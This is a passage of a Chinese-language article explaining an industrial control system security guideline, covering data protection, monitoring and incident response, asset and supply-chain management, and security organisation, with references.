  包括数据完整性、数据保密性、备份和恢复。具体措施为:能够检测到系统管理数据、鉴别信息和重要业务数据在传输和存储过程中完整性受到破坏, 并在检测到完整性错误时采取必要的恢复措施; 采用加密或其他有效措施实现系统管理数据、鉴别信息和重要业务数据传输和存储的保密性; 提供数据本地备份与恢复功能,保证完全数据定期备份,备份介质场外存放; 提供主要网络设备、通信线路和数据处理系统的硬件冗余,保证系统的高可用性。对工控系统的测试数据需要进行保护,比如委托的第三方服务机构,需要签订保密协议,并对测试数据进行回收保护。

二、安全管理体系

  工控系统安全管理体系是一个不断完善、不断改进的过程,随着外部情况及内部条件的改变,需要对管理体系的内容及范围做相应的调整, 以适应变化。最终达到管理体系为工控系统安全的成功实施起 到保驾护航的作用。在《指南》中,安全管理防护体系由系统运维管理、系统建设管理、安全制度和机构管理等部分组成。

2.1、系统运维管理

  系统运维管理强调对异常行为监测和应急预案演练的管理体系建设。包括网络攻击监测、异常行为监测、工业协议深度包检测、监控管理和安全管理中心、安全事件处置、应急预案管理等,各环节应符合国家及行业标准的要求。

  其中,如果部署监测管理设备,需要能即时发现网络攻击或异常风险,及时告警,并推荐风险解决方案,工业企业需要及时处理风险或委托第三方安全服务商进行快速处理。

  在重要工控设备前端推荐部署带有深度包检测功能的防护设备,限制对重要设备的写操作,同时防护设备本身不能因为设置过滤规则过多而造成误过滤,影响业务连续性。

  工业企业需要自主或委托第三方工业控制系统信息安全服务厂商制定工业控制系统信息安全事件应急响应预案,当遭受安全威胁导致工控系统出现异常或故障时,第一时间恢复业务,并对现场进行保护,方便取证。企业需要针对自身业务特点,起草应急响应方案,并定期模拟、演练。

2.2、系统建设管理

  系统建设管理主要体现为第八条和第十条,即资产管理和供应链管理。资产管理包括资产管理、介质管理、设备管理等,建立工控软、硬件资产清单,明确资产责任人,定期对资产进行安全巡检,审计对资产的操作记录,并检查资产的运行状态,及时发现风险。对工控系统中的关键组件进行冗余配置,包括端口冗余、网络冗余、设备冗余、软件冗余等,根据业务需要选择冷备份与热备份或同时运行的方式。

  供应链管理需要统一考虑安全保障体系的总体安全策略、安全技术框架、安全管理策略、总体建设规划和详细设计方案, 并形成配套文件。组织相关部门和有关安全技术专家进行论证和审定,并经过行业监管机构、上级信息安全主管部门和相应生产调度机构的审核。在选择工控系统规划、设计、建设、运维或评估服务商时,优先考虑有工业控制系统信息安全防护经验的服务商,工业企业在选择工控系统安全防护建设、运维或评估等服务商时,也是要优先考虑具备工业控制系统信息安全防护与服务经验的服务商,并以合同等方式明确服务商应承担的信息安全责任与义务,比如保密义务、安全防护义务等。服务商需要以保密协议的方式为工业企业的业务数据、网络结构、设备清单等接触到的一切工业企业信息进行保密,尤其是通过普查、调研、检查、审计等获取的企业敏感数据,对外部人员允许访问的区域、系统、设备、信息等内容应进行书面的规定,并按照规定执行。

2.3、安全管理制度和机构

  明确由主管安全生产的领导作为工控系统安全防护的主要责任人, 成立指导和管理信息安全工作的协调小组或委员会;设立信息安全管理工作的职能部门;制定文件明确安全管理机构各个部门和岗位的职责、分工和技能要求。严格规范人员录用过程,对被录用人员的 身份、背景、专业资格和资质等进行审查,对其所具有的技术技能进行考核;与安全管理员、系统管理员、网络管理员等关键岗位的人员签署保密协议; 定期对各个岗位的人员进行安全意识教育、岗位技能培训和相关安全技术培训及安全认知的考核。逐步建立重要工业控制系统信息安全漏洞和事件的通报、推送和共享机制。部署工业控制系统信息安全防护管理与技术措施,逐步建立工业控制系统信息安全企业保障体系。

  总结:对应美国国土安全部的工业控制系统信息安全“七步骤”,该指南更加详细、全面,突显了服务保障理念,兼顾了技术体系和管理体系,为政府、企业、科研机构和用户等相关产业部门提供参考。当然,该指南还只是指导性文件,未来产业如何进一步发展,还需要相关执行标准的进一步健全、完善和落地,从而全面保障关键信息基础设施安全。

  本文由灯塔实验室(plcscan.org)工业控制系统信息安全产业联盟(icsisia.com)联合发布,特别感谢《指南》的牵头编制单位工信部电子一所(电子科学技术情报研究所)的大力指导。由于《指南》发布不久,管窥之见,未尽事宜,欢迎来函指正。

参考文献:

1)Seven Steps to Effectively Defend Industrial Control Systems_S508C
2)CISSP认证考试指南(第六版)
3)IEC 62443-2-3
4)PLCSCAN.ORG
5)工业控制系统信息安全防护体系研究 《工业控制计算机》2013年第26卷第10期
6)GB/T 32919-2016《信息安全技术 工业控制系统安全控制应用指南》

Viewing all 39 articles
Browse latest View live
<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>